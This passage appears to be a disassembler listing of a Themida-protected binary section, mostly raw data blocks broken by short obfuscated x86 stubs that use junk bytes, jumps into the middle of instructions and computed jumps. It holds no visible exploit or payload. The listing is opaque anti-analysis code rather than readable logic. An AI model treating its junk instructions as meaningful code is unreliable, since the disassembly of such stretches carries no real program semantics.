		dd 555A0424h, 0FF243481h, 8F25D102h, 0B8500842h, 25D102FFh
		dd 58084231h, 5A2434FFh, 4C481h, 34FF0000h, 0C4835D24h
		dd 0A46DE904h, 7AF0FFF8h, 336C8E63h, 21E24685h
		db 38h
; ---------------------------------------------------------------------------


loc_5FFE25:				; CODE XREF: Themida_:005FF87Cj
		mov	eax, 7EBD923h
		add	eax, ebp


loc_5FFE2C:				; CODE XREF: Themida_:loc_5FF877j
		mov	edx, ebx
		call	near ptr loc_5FFE39+1
		db	67h
		dec	esp
		db	66h
		xlat
		cmpsd
		push	ebx


loc_5FFE39:				; CODE XREF: Themida_:005FFE2Ep
		add	ebp, eax
		adc	eax, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0), 0A8h
		dd 0C2131F23h, 513FDDB8h, 0C129A97Eh, 0AE54A47Bh, 0EFB6316Bh
		dd 0B70F5E5Bh, 88C681D9h, 66000063h, 2B9DFFBAh,	8B92B7C9h
		dd 60600E3Ch, 0F38B5A53h, 0F00FB961h, 81610250h, 0CD6BA8F7h
		dd 8E927h, 8E8A0000h, 0B25C3D75h, 0F7812EC1h, 672E0233h
		dd 0F781CAB2h, 11E89361h, 0E72CD381h, 8A57798Fh, 0E048FFCh
		dd 0FE9F5h, 0AE6D0000h,	0C33D52A2h, 5008639Ch, 0A0F23D3Bh
		dd 4E98302h, 49D88166h,	64F981E7h, 0FFFFF9Dh, 1885h, 68D08100h
		dd 0E903A979h, 4Bh, 0BC67F2BAh,	0E5D9117Bh, 374A9339h
		dd 0DE856D9h, 0C2000000h, 252A857Fh, 837A10B2h,	116A789Ah
		dd 0CE9h, 0B269E000h, 0A2180F2Ch, 0D1C77A8Ch, 0E95B5AC0h
		dd 0FFFFFF57h, 31D4AB2Ch, 17C0E191h, 6EC387DBh,	1B141801h
		dd 0E92DE1D4h, 2Ah, 2404C7h, 0E8000000h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7EBDAA9h
		mov	eax, [esp+4]
		mov	[ebp+7E403ADh],	eax
		mov	eax, 0
		lea	ecx, [ebp+7E44FE7h]
		jmp	ecx
; ---------------------------------------------------------------------------
		mov	eax, 6754h
		lea	ecx, [ebp+7EBDB95h]
		jmp	loc_5FFF6A
; ---------------------------------------------------------------------------
		dw 2AAh
		dd 4DA06374h
		db 40h,	71h
; ---------------------------------------------------------------------------


loc_5FFF6A:				; CODE XREF: Themida_:005FFF5Dj
		mov	[ebp+7E41B71h],	ecx
		mov	[ebp+7E40B1Dh],	ebx
		mov	dword ptr [ebp+7E42DA1h], 6F24h
		push	0
		push	edi
		call	sub_5FFF8B
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FFF8B	proc near		; CODE XREF: Themida_:005FFF83p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_5FFF8B	endp

; ---------------------------------------------------------------------------
		db 0BFh
		dd 87E4D3BBh, 0AE882h
		db 2 dup(0)
word_5FFFA6	dw 0EE66h		; DATA XREF: Themida_:005847ACo
; ---------------------------------------------------------------------------
		cld
		wait
		mov	ds:257DA5BDh, al
		or	eax, [ebx]
		popf
		cmp	[esp], eax
		pop	es
		pop	edx
		mov	[ebp+7E42321h],	edx
		mov	dword ptr [ebp+7E422B9h], 0
		mov	ebx, [ebp+7E42D11h]
		push	dword ptr [ebp+7E42BF1h]
		jmp	loc_5FFFDF
; ---------------------------------------------------------------------------
		dd 0A8921E05h
		db 67h,	0F2h, 72h
; ---------------------------------------------------------------------------


loc_5FFFDF:				; CODE XREF: Themida_:005FFFD3j
		jnp	loc_5FFFEB
		mov	esi, [ebp+7E42289h]


loc_5FFFEB:				; CODE XREF: Themida_:loc_5FFFDFj
		call	dword ptr [ebp+7E43061h]
		push	0
		push	ecx
		call	sub_5FFFFC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FFFFC	proc near		; CODE XREF: Themida_:005FFFF4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx


loc_600001:				; DATA XREF: Themida_:00584E84o
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5FFFFC	endp

; ---------------------------------------------------------------------------
		dd 6810FA2h, 81000000h,	5B306BCBh, 0FF006A27h, 0E40E4195h
		dd 0EBC08B07h, 0F5ABDB1Ah, 0CC493E19h, 0B764E5D2h, 5C9E4910h
		dd 0D3A80EE5h, 87EFA7E3h, 0E9681227h, 19h, 3596946Ch, 5	dup(0)
		dd 0D3CE900h, 0E8680000h, 0E907EBDDh, 0FFF8A21Bh, 0EBDF0068h
		dd 0A211E907h, 0B868FFF8h, 0E907EBDFh, 0FFF8A207h, 0EBE02568h
		dd 0A1FDE907h, 6568FFF8h, 0E907EBE3h, 0FFF8A1F3h, 0EBE6B868h
		dd 0A1E9E907h, 0AE68FFF8h, 0E907EBE7h, 0FFF8A1DFh, 0E5799B73h
		dd 42D6F6CFh, 0A236502Ch, 599AD8Ch, 64F814EFh, 11EC658Bh
		dd 714B61F5h, 0CBA9BF53h, 2E0B21B5h, 1FCF8216h,	0A97CDDA2h
		dd 0A5347913h, 0F5F7B56h, 457D9371h, 4D298AAh, 5D7C1026h
		dd 566A4932h, 320FADFDh, 0AD2A081Ah, 13A6B4B7h,	97447CE5h
		dd 13A6B5E4h, 38542Fh, 73F5332h, 327E26A3h, 0E19DC9DAh
		dd 0D878081Eh, 3FB7h, 424DE000h, 819F1C6Ch, 0D013A6A1h
		dd 293B5732h, 17A9E14Ah, 49819F79h, 0D8A39CAEh,	3B13A6A2h
		dd 3C0A4262h, 560D4561h, 6484C77Fh, 23966530h, 9EAF0760h
		dd 1549B6E6h, 78ED877h,	0B7000000h, 8A29Eh, 79562D00h
		dd 0A016ED6Ah, 5BC41442h, 1FFCCA02h, 27997307h,	59B4576Dh
		dd 98B28E26h, 850A2D3Fh, 525CD929h, 2013A6F5h, 29D27FB7h
		dd 9E13A6FAh, 5AA5D98Dh, 7BD877C3h, 20h, 6C424DA4h, 0A9E99F1Ch
		dd 3EA713A6h, 0AAA65906h, 142513A6h, 7D32C50h, 0FD04D878h
		dd 2D000000h, 11617956h, 18BAE19Fh, 0B5943697h,	75CE69A1h
		dd 6D0B9D63h, 6F3D7593h, 0A43F7795h, 441F394Bh,	4522F028h
		dd 0F163F52Dh, 137FFBA4h, 0E5FF11D1h, 54B2E908h, 826B108Dh
		dd 7EE71442h, 40ACF1Eh,	11468745h, 0EB449D4Bh, 9E1B7D57h
		dd 14424CD9h, 1FA0C75h,	1442489Eh, 34849C79h, 2AA7BC96h
		dd 14425155h, 0B33F9801h, 88AABCD8h, 457D9572h,	223615B3h
		dd 0CA2ED10h, 45C53FBCh, 1A8C13A6h, 51CED191h, 13A7F6AAh
		dd 565FBF28h, 23021471h, 0F0CC6ABAh, 83A2C4D6h,	0D552A20Ch
		dd 1441D1DAh, 7DDF2F98h, 0D9EB01DFh, 34C8E4BFh,	0D327431Eh
		dd 62359E2Ch, 7D850B4Bh, 3E00000Ah, 9AB04466h, 0F70DA1C1h
		dd 576D011Bh, 0BAD06478h, 562FC3DFh, 0C0DCB790h, 1E3C162Ch
		dd 8096748Ah, 0E1F9D6ECh, 6DEA9A4Dh, 13A97D96h,	5670FF44h
		dd 0B5CB5F7Bh, 67AE8DD8h, 0DE166F8Dh, 8556EA43h, 1C6C424Dh
		dd 0A6A9E99Fh, 63EA713h, 56930274h, 455C23A0h, 91FA13A6h
		dd 0E8B6B931h, 1DB8F00Eh, 0C6B9B2C4h, 8513A65Bh, 0AF54D133h
		dd 2B13A65Bh, 5313B0C2h, 7716D42Bh, 0D201D8h, 562A0000h
		dd 0D9C15A79h, 48686C6Eh, 0EE9B7EFh, 0C340A2F2h, 14422B3Ch
		dd 591F319Ah, 422F33ACh, 0FC472414h, 1CB0091Dh,	0FFDE2906h
		dd 835A92EBh, 0D552A20Ch, 13A62453h, 7F19B022h,	0EB860772h
		dd 4191FAD9h, 7A93E3CFh, 3AC6E5D2h, 710C445Eh, 0C5633D5Fh
		dd 0A9C39FE6h, 457DD671h, 2B3F1EAAh, 1599F619h,	0EAC563C5h
		dd 75F496CEh, 6BD256F1h, 1A13257Eh, 14404EBEh, 751363CCh
		dd 0CC2E7E9Ah, 884FA84Fh, 0F80CEB1Bh, 0A2C3EA7h, 0A9FD19F4h
		dd 62373160h, 6565EB2Bh, 56000009h, 0B2C85C7Eh,	0F25B9D9h
		dd 6F851933h, 0D2E87C90h, 6E47DBF7h, 0D8F4CF88h, 36542E44h
		dd 98AE8CA2h, 0F911EE04h, 8502B265h, 13A97FFEh,	5688175Ch
		dd 0B5CB5F7Bh, 5B2CC0D8h, 29617956h, 0D2667E5Bh, 621996F8h
		dd 0F01442A0h, 8617554h, 5948CBF6h, 3BFA74E7h, 0D754CCD5h
		dd 14428F20h, 0DAEC45AEh, 86D6D8B7h, 0A6A35B09h, 97A00913h
		dd 63CB2C8Ch, 1995FABAh, 0DF24CC9h, 0FF61A20Fh,	0CF0DFD82h
		dd 0DEF059ADh, 875E96FFh, 0D956A608h, 0AA28BD81h, 0BFDDB753h
		dd 4393EC87h, 1CB0C8A5h, 0FFBAD042h, 20A9AD53h,	0BDCF2846h
		dd 5AAEC6A3h, 0B08C92B9h, 0AD20A6E6h, 0E000008h, 6A801436h
		dd 0C7DD7191h, 273DD1EBh, 8AA03448h, 26FF93AFh,	90AC87C0h
		dd 0EE0CE6FCh, 5066445Ah, 0B1C9A6BCh, 3DBA6A1Dh, 13A97F46h
		dd 5640CF14h, 52296179h, 0A421713Dh, 13A6861Ah,	0E17FCF38h
		dd 4359ED03h, 6A174F65h, 13A68795h, 0A6975427h,	0D5D9B613h
		dd 82AA0885h, 4FB81442h, 546C4917h, 39D41D00h, 0D0569662h
		dd 840h, 0ED81A37Bh, 4ADEFED7h,	0AA3E5834h, 0DA1B594h
		dd 6C001CF7h, 19F46D93h, 795369FDh, 0D3B1C75Bh,	361329BDh
		dd 27D78A1Eh, 0A940D5AAh, 0AD3C8113h, 1C6C424Dh, 0A0463DBAh
		dd 0AB141442h, 1A2C401Fh, 0B5E1BF3Ch, 66F13A6h,	72700CEh
		dd 263A19B7h, 3DCF214h,	0C1D4ABE3h, 75C5DDBAh, 0A6B503F8h
		dd 0D66CF13h, 27451FBDh, 644254EFh, 0A6B528E7h,	558DF613h
		dd 0DC9FC79Eh, 3413643Eh, 0FA77C720h, 13A6B505h, 3C5668D1h
		dd 0BAAF4363h, 13A6B5C1h, 0EE6B4C49h, 13A6B509h, 1FC5CC5h
		dd 172DF25Fh, 0EB68B811h, 13A63738h, 2F2576E6h,	2EEF1A0Ah
		dd 71A9C9A2h, 0D3E97DD6h, 0B0CCA7FAh, 9269E678h, 4013A6B9h
		dd 0D5257ED7h, 73F5D37h, 0E7945A6Ch, 13A6B9ECh,	908FB78Eh
		dd 0ED0397B7h, 0FBCF414h, 13A6BA3Ch, 100F370Eh,	0A9831737h
		dd 0E0182C0Bh, 85103345h, 0A25CD929h, 3113A6BAh, 659DB793h
		dd 6FD7ACAh, 0D413A6BAh, 0DE7A596Bh, 1A97E703h,	13A6BA65h
		dd 0F72F88F1h, 0C7DED84Ah, 586C4B67h, 5A785220h, 6B1BE422h
		dd 86BECF27h, 169F29D6h, 169AE64h, 4DD70000h, 0BA1C6C42h
		dd 17293D1Ch, 0A6A9141Eh, 81D13A13h, 0E0BB06E3h, 98F18CC4h
		dd 0C611EE04h, 0FA95CDEDh, 0A1BC69A1h, 2094E002h, 9F7CE3A3h
		dd 0BB993787h, 0C0D26DA5h, 9CAB889Eh, 6815581Fh, 0C7DDBB9Bh
		dd 3AA3F48Fh, 0C3D2A9E1h, 624157EBh, 1284164Eh,	0FD6A094Dh
		dd 0A5BFD149h, 61CB0C8h, 2CD91129h, 0E9E28A81h,	5CC38300h
		dd 0BDD3677Fh, 0B990C8E0h, 995EDBDCh, 3515F7F5h, 0A62373CCh
		dd 15F7F5D1h, 0C5D40C7Eh, 5E4FC7E5h, 95306882h,	410CDC3Ch
		dd 0B8003EBDh, 0CA5EC7A6h, 85BDD9B4h, 77C7E7AEh, 0F7CA09FAh
		dd 5A39D515h, 0FF9DED46h, 0DFF9D524h, 78527486h, 0D0E200DAh
		dd 71C1D9B6h, 66E3FAD3h, 15F7CA91h, 437BD43Dh, 0D57148A8h
		dd 694075FAh, 61FF9157h, 3E586A86h, 580F4763h, 7D5AC581h
		dd 98771565h, 9FB14C84h, 728A677Dh, 7C32633Ah, 0A2C0AF2Ch
		dd 0F18F15F7h, 0C753F712h, 0E71C733Ah, 0FBE02E8Eh, 38DCCE35h
		dd 4ADE4726h, 73F5734h,	0D455B39h, 0E05F07CEh, 4157EB03h
		dd 1C3D1964h, 0B55BD22Ah, 0C2126B1Bh, 0F7EABE45h, 5AB31C15h
		dd 75916C0Ah, 0CA90A23Dh, 0BC0CA2F3h, 0F7EAAC3Fh, 69B92215h
		dd 0C5D7EDCBh, 99AF8DA3h, 0AC0B8A61h, 0F7EA482Fh, 449D0615h
		dd 0EA9077F4h, 0C15F15F7h, 0DCBBCDE3h, 560EDF73h, 0AECD6179h
		dd 0F23C6E1h, 0DDDA8DA8h, 21B73484h, 7013A6D0h,	60876BFEh
		dd 0E6E36E2Ah, 2C4CACF6h, 0D3B2C424h, 9E7C1A6Ah, 4F297C55h
		dd 5A0D831h, 8BAE48A5h,	4CA51E8Fh, 37518AFCh, 73F5332h
		dd 0A6400C6Ch, 0E244658h, 0BC0DE730h, 0F691C9DDh, 71CA659Dh
		dd 8FA58321h, 0AFE0B77Dh, 8832AFFFh, 0C614428Ah, 0F593255Dh
		dd 2DC80018h, 8359221Bh, 0DEB11B8Ah, 801E80D0h,	0B55088A6h
		dd 0F60CAAA3h, 0EA5A1C6Eh, 1529F85Ch, 3C5A347Eh, 0B7106904h
		dd 0BCD4B17Fh, 55E0BF68h, 42C8085Ah, 500h, 2DC1E3BBh, 8A1E3E17h
		dd 0EA7E9874h, 4DE1F5D4h, 0AC405C37h, 59342DD3h, 0B993A93Dh
		dd 13F1079Bh, 765369FDh, 6717CA5Eh, 0A94315EAh,	0ED7CC113h
		dd 1C6C424Dh, 0A0463DBAh, 78141442h, 14267F9Fh,	80D3B936h
		dd 31A113A6h, 0F4D0BFA1h, 889F7ADAh, 0F2D0793h,	2FD17EB6h
		dd 9E13A65Ch, 0B9D1AE4Ch, 1F5A0AA7h, 538BA581h,	34CBA6B8h
		dd 0A1D87721h, 0DBh, 1AE14FC1h,	4F379278h, 0F1035C70h
		dd 17F4921Ch, 3BF4EDFFh, 0EF1442A0h, 3BC03D9Fh,	971442A0h
		dd 0A0C5BA37h, 28911442h, 84D8BDCFh, 0DEF00AE6h, 7FCFE7C4h
		dd 3CE603E1h, 615C01CCh, 0D1F3055Eh, 7FCFDFB2h,	0B93EBB1Dh
		dd 151442CBh, 0D2A19AACh, 801442CBh, 4C29C717h,	942A412Dh
		dd 99F2F9CAh, 16F3C187h, 464B6AFEh, 0EC9B1868h,	7B1442CBh
		dd 70ED04DDh, 1442CB8Bh, 7385DE47h, 69DB2B94h, 52BD5EF2h
		dd 0F4BACC8Fh, 9D314926h, 4B9B137Eh, 53714BE9h,	0CB974841h
		dd 0DB3B1442h, 0AB04E069h, 2F9ADB44h, 1442A348h, 0F4449D06h
		dd 29617956h, 9B67C8Eh,	1442E376h, 0B1A5E1B8h, 0E07ECEE0h
		dd 19B4EC02h, 0F3AC2907h, 9F1442E3h, 84F72D2Fh,	60B99EB1h
		dd 0C1FECCh, 928D0000h,	898B5020h, 3446C934h, 0E0307E11h
		dd 0A6E54563h, 72AA1313h, 5CACCAA4h, 0B9CBDFBEh, 921C7897h
		dd 0C632C542h, 37A013A6h, 730885E7h, 0DF13A6C6h, 0F19E6476h
		dd 0EC5939F1h, 0C0FBABBCh, 0C61AE15Eh, 4FB813A6h, 0B79D623Dh
		dd 703AD877h, 5A000000h, 78FCAFE8h, 62740384h, 67474D8Dh
		dd 0A0E59A17h, 0D4721442h, 0BAD0AEF5h, 1A972961h, 1442A065h
		dd 1D2F88F1h, 0CF9DD53Eh, 2443D7F5h, 71EE3E70h,	1442A0DEh
		dd 46F32B94h, 1442E1B5h, 643FDDF5h, 63421048h, 47E4F64Fh
		dd 0E2BE5C1Fh, 0E3F590C8h, 8ADAD4C0h, 42E1220Dh, 52CF3114h
		dd 1442E1ADh, 0E1D6AD2Ah, 1B841442h, 704F61CAh,	56A27307h
		dd 97296179h, 0F3CF1EF9h, 546E80D9h, 0ACCB5F77h, 5A36D4E3h
		dd 26D0840h, 1442A07Dh,	0C71770D9h, 0A6B3404Ah,	6DA50E13h
		dd 7FC79DBh, 0D313A6B4h, 9C5F586Ah, 0F713A6B4h,	0FDCB0319h
		dd 8DCC0424h, 0C49F9EC6h, 0E6F74FA8h, 0A01FEBEh, 3597D878h
		dd 0A6BCC3B8h, 94468013h, 6B44ED3Fh, 463DBA1Ah,	1413A6EDh
		dd 0A14052ABh, 45h, 75424DCAh, 0A0E19613h, 46D1442h, 42A0E299h
		dd 0AE077014h, 0C4E3C05Eh, 5A9A8F19h, 0FD358E53h, 0F5725062h
		dd 13A64C3Fh, 0CA5C94FDh, 1394D2Ch, 0A05B5466h,	2713A64Eh
		dd 0D12E6E16h, 6D87723h, 0EAh, 6179562Fh, 64805B29h, 18289A2Ch
		dd 0FF47187h, 0CB1442A1h, 0DEDB0262h, 0D6B3CDDFh, 34FC6EBEh
		dd 7D2925D8h, 8567AD6Ch, 2F9B825h, 7F5C2AF0h, 0FDDED367h
		dd 561442F0h, 39512E79h, 3C583301h, 0B7106904h,	18300D23h
		dd 344E2AC8h, 894F61FCh, 81D1DDB2h, 0A6F79604h,	0C75BC413h
		dd 0A9A47BEDh, 719E4B93h, 5B533C5Fh, 49BA8E0Bh,	48B81440h
		dd 813322AAh, 1A97E7F7h, 1B88C465h, 0DF2F88F1h,	0B64A6641h
		dd 55A9C5A0h, 6237BCDCh, 0AD39BFFFh, 0E000001h,	6A801436h
		dd 0C7DD7191h, 273DD1EBh, 8AA03448h, 26FF93AFh,	90AC87C0h
		dd 0EE0CE6FCh, 5066445Ah, 0B1C9A6BCh, 3DBA6A1Dh, 13A94646h
		dd 5640CF14h, 278D587Bh, 15CCA936h, 0DC4E28BCh,	93D7D226h
		dd 2B633A9Bh, 7EC677D7h, 0AB88A2B4h, 8725FF93h,	0C15C94A8h
		dd 424DDAAFh, 0A6AA1C6Ch, 0C452F362h, 0CB482638h, 13A65305h
		dd 85326AD3h, 13A7A3FAh, 55044051h, 88C0DCB7h, 0FF00DBEDh
		dd 99D8770Eh, 0F6081CFBh, 0A557h, 79568000h, 805B2961h
		dd 0E53E5231h, 0A49F00ADh, 9B781442h, 0FCD9EF83h, 0BAD5ACE4h
		dd 0A442A4F4h, 0A59EB0C6h, 13A6AB37h, 9CEFC866h, 134BA4C2h
		dd 1E876678h, 8EF6CCEh,	0C613A6B4h, 0A294B5Dh, 5CD92985h
		dd 1440525Bh, 0B249C628h, 201B885Bh, 5DC6A5B7h,	330DAB0Dh
		dd 0EE90315h, 6D485EF2h, 263EFD51h, 71B16237h, 0B7EBh
		dd 0A2C0400h, 67876076h, 0C7E1BDD3h, 2A3E1D33h,	89A58096h
		dd 7DD61CF5h, 0DCF286A2h, 3A50E402h, 9CB2465Ch,	6013A7BFh
		dd 474C33B0h, 0C50A13A9h, 5F7B5636h, 0C0D8B5CBh, 79565B2Ch
		dd 0F9972961h, 31CC041Ch, 1028051Fh, 2604A27Ch,	0B4DBFE10h
		dd 0EB2DAAFAh, 0B913A97Bh, 6D4A1850h, 89670555h, 293F6173h
		dd 4FFC344Ch, 21D401A0h, 0B9A4E05Dh, 1A30C4DCh,	73D5253Dh
		dd 2BF901F6h, 5264CD2Eh, 0CBDFBE8Ch, 0E800DD7Bh, 654210D6h
		dd 6B47154Dh, 38B51951h, 0B7CF440Ch, 0EC243C19h, 0FF840151h
		dd 5B2E2BF9h, 343E0F2h,	93273F1Ch, 5088A07Dh, 3CAh, 3E8D5900h
		dd 245C7E56h, 29617956h, 2F677D5Bh, 31698761h, 346C8863h
		dd 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h, 0E38953EEh
		dd 4C381h, 0BF570000h, 4, 875FFB29h, 685C241Ch,	1FB3h
		dd 56241C89h, 0C681E689h, 4, 4EE81h, 34870000h,	2C895C24h
		dd 0DC1D6824h, 545B07EBh, 81242C8Bh, 4C4h, 4EC8100h, 89000000h
		dd 458F241Ch, 242C8B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		xchg	dh, dl
		pop	ebx
		and	esp, eax
		xor	eax, 83FE8D16h
		mov	eax, 7EBE88Ah
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0F4h
		dd 4A385DF3h, 0C20F61DFh, 89421E15h, 0B1524FB6h, 7D156785h
		dd 0D929AAD1h, 0F96C9149h, 617785DDh, 0CE69FCE5h, 0BA14B672h
		dd 0A832DD59h, 0DF3CCC8Fh, 0F41AD0EEh, 0B9670E82h, 1D033B2Ch
		dd 8C5798D9h, 0E83BB0FCh, 0Ch, 0C3E922Ch, 0C7DC6EE4h, 7E0EA353h
		dd 0C0BF0F59h, 6F54C181h, 16B00000h, 1BA668h, 850F5000h
		dd 3, 5FFBBF0Fh, 0CE95Ah, 0C7C40000h, 0E107A70Bh, 1E83DEh
		dd 198B61F0h, 0F381F38Bh, 2BA885E9h, 0F381C18Bh, 762EF7A3h
		dd 5E9h, 98F61F00h, 0F381F825h,	6EAF9EDCh, 89F3BF0Fh, 56B46019h
		dd 9E8h, 63C5AF00h, 71D07543h, 0E28A32BDh, 0E983615Bh
		dd 12E68103h, 494ED7CDh, 890Fh,	0EA810000h, 1, 1D850Fh
		dd 81660000h, 0E965ACCEh, 24h, 743D1D70h, 0AA398A34h, 908CC0B0h
		dd 0C05EAA67h, 6601C96Ah, 0BFC4F681h, 0FFFF81E9h, 0E0235BFFh
		dd 0FE8D1635h, 1EE9h, 7E008A00h, 52h, 5	dup(0)
		dd 0E9000000h, 583h, 15A9CBA3h,	720626FFh, 0D266805Ch
		dd 35C9DDBCh, 9428441Fh, 411C35BBh, 0A17B9125h,	0FBD9EF83h
		dd 5E3B51E5h, 4FFFB246h, 0A94A2DD2h, 0D564A913h, 0ED6A7956h
		dd 1442A016h, 0CA025BC4h, 710521FCh, 2E667E5Bh,	336B8360h
		dd 346C8C65h, 987412D0h, 37B4467Eh, 1442A040h, 3A4CA50Eh
		dd 14B2E99Dh, 0B4921E38h, 95728C9Eh, 0F5D3E97Dh, 57354BDFh
		dd 0E119310Eh, 3B9DED46h, 42A039BEh, 1FF99514h,	0D52EC901h
		dd 3F516F49h, 0B3D1AB79h, 0EC14F163h, 98D0E4C3h, 0FB109DFDh
		dd 0A472384Ah, 0A573ABCBh, 3675ADCBh, 67B376Fh,	0A644772Fh
		dd 0B93EBBC8h, 151442E2h, 274153ACh, 45E33349h,	7F1A5266h
		dd 58354B6Dh, 0A15B0840h, 7E1442E2h, 26D985C1h,	0AFE05BCFh
		dd 70h,	617956D8h, 0B4739F11h, 0D8738BAAh, 969F8B9h, 86981686h
		dd 116A13C0h, 39371442h, 70A8BC9Bh, 7E26C3D5h, 9DC49D3Bh
		dd 0C6DE39ABh, 172982BEh, 5BABC33Ch, 114E0h, 563D0000h
		dd 57255D7Dh, 58265E7Eh, 77156579h, 0AE49819Bh,	0F572D69Ch
		dd 0A2F5CEB1h, 0D873ABC7h, 0F8D5EB7Fh, 724CE0h,	9638623Fh
		dd 39B60680h, 14421342h, 0C095A710h, 275F7B56h,	21AF795h
		dd 31D2FCAh, 94D20A2Ah,	42E09BCBh, 7B164E64h, 58744F69h
		dd 0B9D1AEC4h, 0D6EECB69h, 5430FEC4h, 5768023Ah, 0FC06F2Fh
		dd 0A735E05Ch, 5E000000h, 275F7B56h, 2B637D59h,	3068805Dh
		dd 0A05A219Eh, 8FF81442h, 1DC2503h, 0B912ADE5h,	0CA7A4381h
		dd 0BFE76486h, 6E298AFCh, 4932C946h, 37A01442h,	0C765ED7h
		dd 0E905E0FAh, 48643F55h, 4F634210h, 6B8561FFh,	0A7F99359h
		dd 1B2DB835h, 97747571h, 53AC477Fh, 0BCE0A441h,	0E05BC773h
		dd 0CFEDC765h, 721EBDh,	56470000h, 95275F7Bh, 41AC0223h
		dd 39B68E2Bh, 1442F542h, 0FE4EA710h, 42F5FA81h,	0DDEF5814h
		dd 97CFE5C3h, 99D1EFC9h, 5D0EDCBh, 0A1349E2Ah, 0A1DF1770h
		dd 45E4ACD8h, 0C09B82C2h, 1F789871h, 7D56BA8Bh,	0D831512Ah
		dd 0A009F3A0h, 0B18C1442h, 0B48F5D95h, 5F6F4491h, 0D029C56Bh
		dd 0D1F1CA98h, 5FDCFE99h, 0AC696B27h, 0FD3BC4F8h, 19CE05Bh
		dd 0C5000000h, 4F2D7A56h, 0DAA8E039h, 805BDEFDh, 0E1A5C110h
		dd 0C2995088h, 5C39D782h, 3C183244h, 206F8E22h,	8BC13E8Eh
		dd 4913A685h, 0FDDAA8E0h, 19F795E5h, 1E30CB03h,	0F109E6FCh
		dd 0B08927B9h, 0ABBD5890h, 0A6E5CBB2h, 8EB63913h, 69AB28Fh
		dd 0ABFB13F0h, 101BA539h, 692D972h, 37FD0F2Bh, 3C748C69h
		dd 0E7135FEh, 57C91931h, 939DDBF6h, 99BBCDB3h, 77E43DC2h
		dd 15E9AD8h, 92C30000h,	0ACF619F4h, 33699159h, 2CFA328Bh
		dd 63FE3650h, 85A57E0Ah, 6F3F5073h, 0DE5BBD1Fh,	1442F719h
		dd 413A4CB5h, 13A6E99Fh, 0A057D436h, 2E13A6D5h,	2DE7B8BEh
		dd 0CB2484CAh, 3971DAB9h, 26768E6Bh, 5C94AA88h,	3D5B35C1h
		dd 36586A05h, 0F32B4320h, 0F8304825h, 0CAB5F1BAh, 0E785D5EDh
		dd 0C0E2F408h, 1F6C48E6h, 95CD2646h, 562DAAFAh,	413A639h
		dd 51AE899Bh, 86D87778h, 57h, 0A18834A6h, 0EB5B19E9h, 444D04D9h
		dd 69D1A6Ah, 546BBD5Fh,	7106B3EBh, 319442A0h, 62AF8B29h
		dd 0DA126B87h, 0D4902D3Fh, 2D7D3160h, 17E9A8BBh, 7DFA96C3h
		dd 94427B86h, 8092EB54h, 0C3A240A2h, 3FA49DAFh,	5BEBBD84h
		dd 0E6845EF2h, 1CB7EF0Bh, 8A380Ah, 4DC70000h, 9F1C6C42h
		dd 13A6B9F5h, 0E7AD2A9Ch, 3A8446FAh, 0A8E04928h, 51E5FDDAh
		dd 20620577h, 46327C65h, 253D1A34h, 294040EDh, 41C413A6h
		dd 77F45605h, 13A62A80h, 0B9D3E54Eh, 1130C4DCh,	63E0307Eh
		dd 144DC0B2h, 0FD82FF61h, 591B92D4h, 63FFDEF0h,	0DE166F85h
		dd 0CB1B3310h, 1394F2Dh, 0E13A5A33h, 3A5209CFh,	70A8BE9Ch
		dd 7E26C3D5h, 0A4C49D3Bh, 9CBFD16Ch, 0EE6BBBF3h, 1C793E27h
		dd 690E8BEBh, 0E503FEFEh, 0BE8F237Ch, 0FD19F492h, 0F5182AC5h
		dd 47C4149Ah, 13A94A9Eh, 0D5A3DB44h, 1E90E0F8h,	494A8C15h
		dd 7451DDC4h, 7789245Ch, 1DD7B55h, 0C414AFE7h, 0A953B047h
		dd 0A3B51E13h, 0FC8DAC89h, 0DDA21F80h, 7913A942h, 4FFAB010h
		dd 0F68D0A5Ah, 6413A92Fh, 0B452A2FBh, 0BB89C1D5h, 5B6DC6DEh
		dd 0DF94E895h, 0AF6D463Ch, 0E51D3311h, 0EB9B384Ah, 0EB7F9774h
		dd 90E0F8D5h, 0C4FC16F2h, 83511729h, 1DFB99A4h,	0DFE79C07h
		dd 0A7349C3h, 0EBC279B1h, 0CFE7C4BBh, 0E808E17Fh, 0C19EB4D6h
		dd 8EB71A9h, 71000000h,	0CCDEF6D3h, 563E8DF7h, 56245C7Eh
		dd 5B296179h, 612F677Dh, 63316987h, 66346C88h, 69376F8Bh
		dd 703E768Ah, 74427A94h, 0EE437B9Bh, 1EA668h, 243C8900h
		dd 7B3B68h, 24348900h, 5E08950h, 4, 8704E883h, 895C2404h
		dd 6852240Ch, 43DA37F2h, 0E7BF575Ah, 0D1385F19h, 47D7F7EFh
		dd 0C781D7F7h, 0CDF4E6Ch, 6095C781h, 0FA21EBB2h, 5BC2815Fh
		dd 89072BB6h, 8B545AD6h, 0C481240Ch, 4,	8B850h,	0C8010000h
		dd 89F58955h, 0FF585D28h, 81592434h, 4C4h, 2434FF00h, 4C4815Eh
		dd 0E9000000h, 0FFF88E37h, 0B926EFA0h, 0DF20E74Fh, 0B8AC1AFCh
		dd 7EBEF45h, 0E0FFC503h, 767D1C6Eh, 5C1FB271h, 7D069F73h
		dd 6416E351h, 0FC2C64Ah, 17F96ABDh, 4F280D5Dh, 437DB181h
		dd 7077233Fh, 0C8A0395h, 0B4F820h, 7255E47Dh, 5E8h, 0A6343000h
		dd 0BE9CE96h, 11000000h, 0B022FD5Eh, 0CDE4C1C8h, 6659576Dh
		dd 0C181F38Bh, 0DD88h, 0A002E081h, 4BA46FCh, 8108479Fh
